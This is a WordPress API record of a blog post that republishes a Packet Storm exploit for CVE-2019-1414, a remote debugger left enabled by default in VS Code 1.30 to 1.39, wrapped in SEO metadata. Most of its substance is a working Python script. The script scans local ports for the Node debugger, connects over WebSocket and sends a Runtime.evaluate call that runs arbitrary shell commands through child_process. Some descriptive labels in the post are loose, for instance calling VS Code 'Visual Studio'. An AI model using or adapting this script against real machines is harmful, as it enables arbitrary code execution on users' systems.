{"id":28895,"date":"2025-12-05T13:40:43","date_gmt":"2025-12-05T13:40:43","guid":{"rendered":"http:\/\/localhost\/?p=28895"},"modified":"2025-12-05T13:40:43","modified_gmt":"2025-12-05T13:40:43","slug":"visual-studio-1390-remote-debugger","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28895","title":{"rendered":"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-05T18:52:21&#8243;,&#8221;description&#8221;:&#8221;Visual Studio versions 1.30.0 through 1.39.0 had a remote debugger enabled by default that could cause multiple security issues. Code included to scan for any listeners&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-05T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-05T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212502&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2019-1414&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Visual Studio 1.30.0 \u2192 1.39.0 Remote Debugger Exploit                                                                       |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/code.visualstudio.com\/                                                                                              |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/210646\/ \\u0026 CVE-2019-1414 https:\/\/packetstorm.news\/download\/210646\\n    \\n    [+] Summary : vulnerability in Visual Studio Code affecting versions 1.30.0 through 1.39.0. \\n                  In these versions, the remote debugger (Node.js Debug Listener) was enabled by default and listened on a local TCP port without proper restrictions. This allowed any untrusted local user to:\\n                  Enumerate the listening port Connect to the debugger endpoint Access the internal DevTools JSON API\\n                  Interact with the running VS Code process Potentially escape sandboxes or manipulate the editor environment\\n                  The issue was discovered and reported by Tavis Ormandy (Google Project Zero). \\n    \\t\\t\\t  Microsoft patched the vulnerability in Visual Studio Code 1.39.1, disabling the debug listener by default and improving access restrictions.\\n                  Affected users should upgrade to the patched version or later to avoid unauthorized debugger access by local users.\\n    \\n    [+]  POC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    VS Code Remote Debugger Exploit\\n    by indoushka\\n    CVE-2019-1414 (or similar &#8211; this was patched in later versions)\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import requests\\n    import json\\n    import websocket\\n    import sys\\n    import subprocess\\n    import threading\\n    from urllib.parse import urlparse\\n    \\n    def find_vscode_debug_ports():\\n        \\&#8221;\\&#8221;\\&#8221;Find potential VS Code debugger ports\\&#8221;\\&#8221;\\&#8221;\\n        ports = []\\n        try:\\n            # Try netstat approach\\n            result = subprocess.run([&#8216;netstat&#8217;, &#8216;-4nlt&#8217;], capture_output=True, text=True)\\n            for line in result.stdout.split(&#8216;\\\\n&#8217;):\\n                if &#8216;LISTEN&#8217; in line and &#8216;127.0.0.1&#8217; in line:\\n                    parts = line.split()\\n                    if len(parts) \\u003e 3:\\n                        addr = parts[3]\\n                        if &#8216;127.0.0.1:&#8217; in addr:\\n                            port = addr.split(&#8216;:&#8217;)[-1]\\n                            ports.append(int(port))\\n        except:\\n            pass\\n        \\n        # Common VS Code debug ports range\\n        common_ports = list(range(59000, 65535))\\n        return ports + common_ports\\n    \\n    def check_debugger_endpoint(port):\\n        \\&#8221;\\&#8221;\\&#8221;Check if this port has VS Code debugger\\&#8221;\\&#8221;\\&#8221;\\n        try:\\n            response = requests.get(f&#8217;http:\/\/localhost:{port}\/json\/list&#8217;, timeout=2)\\n            if response.status_code == 200:\\n                data = response.json()\\n                if data and len(data) \\u003e 0:\\n                    return data\\n        except:\\n            pass\\n        return None\\n    \\n    def exploit_websocket(ws_url, command):\\n        \\&#8221;\\&#8221;\\&#8221;Execute command through WebSocket debug interface\\&#8221;\\&#8221;\\&#8221;\\n        try:\\n            # Connect to WebSocket\\n            ws = websocket.create_connection(ws_url)\\n            \\n            # Debugger protocol messages to execute command\\n            setup_messages = [\\n                {\\n                    \\&#8221;id\\&#8221;: 1,\\n                    \\&#8221;method\\&#8221;: \\&#8221;Runtime.evaluate\\&#8221;,\\n                    \\&#8221;params\\&#8221;: {\\n                        \\&#8221;expression\\&#8221;: f\\&#8221;require(&#8216;child_process&#8217;).exec(&#8216;{command}&#8217;, (error, stdout, stderr) =\\u003e {{ console.log(stdout); }})\\&#8221;,\\n                        \\&#8221;includeCommandLineAPI\\&#8221;: True,\\n                        \\&#8221;silent\\&#8221;: False,\\n                        \\&#8221;returnByValue\\&#8221;: False\\n                    }\\n                }\\n            ]\\n            \\n            for msg in setup_messages:\\n                ws.send(json.dumps(msg))\\n                response = ws.recv()\\n                print(f\\&#8221;[+] Response: {response}\\&#8221;)\\n                \\n            ws.close()\\n            return True\\n        except Exception as e:\\n            print(f\\&#8221;[-] WebSocket exploit failed: {e}\\&#8221;)\\n            return False\\n    \\n    def main():\\n        print(\\&#8221;[*] VS Code Remote Debugger Exploit PoC\\&#8221;)\\n        print(\\&#8221;[*] Scanning for debugger endpoints&#8230;\\&#8221;)\\n        \\n        # Find potential ports\\n        ports = find_vscode_debug_ports()\\n        print(f\\&#8221;[*] Checking {len(ports)} potential ports&#8230;\\&#8221;)\\n        \\n        vulnerable_endpoints = []\\n        \\n        for port in ports[:100]:  # Limit to first 100 ports for speed\\n            sys.stdout.write(f\\&#8221;\\\\r[*] Checking port {port}&#8230;\\&#8221;)\\n            sys.stdout.flush()\\n            \\n            endpoints = check_debugger_endpoint(port)\\n            if endpoints:\\n                print(f\\&#8221;\\\\n[+] Found debugger on port {port}!\\&#8221;)\\n                vulnerable_endpoints.extend(endpoints)\\n        \\n        if not vulnerable_endpoints:\\n            print(\\&#8221;\\\\n[-] No vulnerable debug endpoints found\\&#8221;)\\n            return\\n        \\n        print(f\\&#8221;\\\\n[+] Found {len(vulnerable_endpoints)} vulnerable endpoint(s)\\&#8221;)\\n        \\n        for endpoint in vulnerable_endpoints:\\n            print(f\\&#8221;\\\\n[+] Target: {endpoint.get(&#8216;title&#8217;, &#8216;Unknown&#8217;)}\\&#8221;)\\n            print(f\\&#8221;    Type: {endpoint.get(&#8216;type&#8217;, &#8216;Unknown&#8217;)}\\&#8221;)\\n            print(f\\&#8221;    WebSocket: {endpoint.get(&#8216;webSocketDebuggerUrl&#8217;, &#8216;N\/A&#8217;)}\\&#8221;)\\n            \\n            # Test with a simple command\\n            ws_url = endpoint.get(&#8216;webSocketDebuggerUrl&#8217;)\\n            if ws_url:\\n                # Replace with your test command\\n                test_command = \\&#8221;whoami \\u003e \/tmp\/vscode_poc.txt \\u0026\\u0026 echo &#8216;Exploit successful&#8217;\\&#8221;\\n                if sys.platform == \\&#8221;win32\\&#8221;:\\n                    test_command = \\&#8221;whoami \\u003e C:\\\\\\\\temp\\\\\\\\vscode_poc.txt \\u0026\\u0026 echo Exploit successful\\&#8221;\\n                \\n                print(f\\&#8221;[*] Attempting to execute: {test_command}\\&#8221;)\\n                if exploit_websocket(ws_url, test_command):\\n                    print(\\&#8221;[+] Command execution attempted!\\&#8221;)\\n                else:\\n                    print(\\&#8221;[-] Command execution failed\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212502&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212502\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-05T18:52:21&#8243;,&#8221;description&#8221;:&#8221;Visual Studio versions 1.30.0 through 1.39.0 had a remote debugger enabled by default that could cause multiple security issues. Code included to scan for any&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-28895","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=28895\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-05T18:52:21&#8243;,&#8221;description&#8221;:&#8221;Visual Studio versions 1.30.0 through 1.39.0 had a remote debugger enabled by default that could cause multiple security issues. Code included to scan for any...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=28895\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-05T13:40:43+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28895#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28895\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502\",\"datePublished\":\"2025-12-05T13:40:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28895\"},\"wordCount\":921,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28895#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28895\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28895\",\"name\":\"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-05T13:40:43+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28895#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28895\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28895#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=28895","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-05T18:52:21&#8243;,&#8221;description&#8221;:&#8221;Visual Studio versions 1.30.0 through 1.39.0 had a remote debugger enabled by default that could cause multiple security issues. Code included to scan for any...","og_url":"https:\/\/zero.redgem.net\/?p=28895","og_site_name":"zero redgem","article_published_time":"2025-12-05T13:40:43+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=28895#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=28895"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502","datePublished":"2025-12-05T13:40:43+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=28895"},"wordCount":921,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=28895#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=28895","url":"https:\/\/zero.redgem.net\/?p=28895","name":"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-05T13:40:43+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=28895#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=28895"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=28895#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28895","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28895"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28895\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28895"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28895"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28895"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}